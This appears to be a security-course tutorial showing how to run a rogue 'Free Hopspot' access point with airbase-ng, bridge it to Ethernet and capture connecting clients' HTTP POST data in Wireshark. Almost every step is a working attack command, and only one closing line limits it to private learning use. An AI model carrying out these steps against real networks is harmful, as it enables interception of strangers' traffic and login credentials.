Man In The Middle Using Bridged Interface and Wireshark

By:

Prof.Kailas Patil

&

Qaidjohar Jawadwala

Step 1

Check your IP address

Command:: ifconfig eth0

Step 2

Start the Monitoring Interface on wifi.

Command:: airmon-ng start wlan0

Step 3

Start the wifi access point on your machine

Command:: airbase-ng –essid “Free Hopspot” –c 1 mon0

Step 4

Check for the new interface.

Command:: ifconfig at0

Install Bridging software brctl

apt-get install bridge-utils

Step 5

Add a bridging interface.

Command:: brctl addbr BR1

Step 6

Add your ethernet interface to bridging interface.

Command::

brctl addif BR1 eth0

Step 7

Add your wireless interface(logical) to bridging interface. Command:: brctl addif BR1 at0

Step 8

View your Bridge interfaces

Command:: brctl show

Step 9

Change your ethernet interface address to null.

Command:: ifconfig eth0 0.0.0.0 up

Step 10

Change your wireless interface(logical) address to null. Command:: ifconfig at0 0.0.0.0 up

Step 11

Allocate an IP address to Bridge interface

Command::

ifconfig BR1 192.168.1.20/24 up

Step 12

Switch on port forwarding between interfaces

Command::

echo 1 > /proc/sys/net/ipv4/ip_forward

Step 13

Now Wait for a client to connect to your network.

Step 14

Open wireshark on your machine

Step 15

Select interface at0 and start monitoring on it

Step 16

Wireshark will start capturing packets

Step 17

Select packet with HTTP post request.

Right click on it and follow TCP Stream.

Task Accomplished

Now you will be able to perform

Man In the Middle attack

through Bridging Technique

Caution

Attacks are performed on private networks and are only for learning

purposes.

Thank You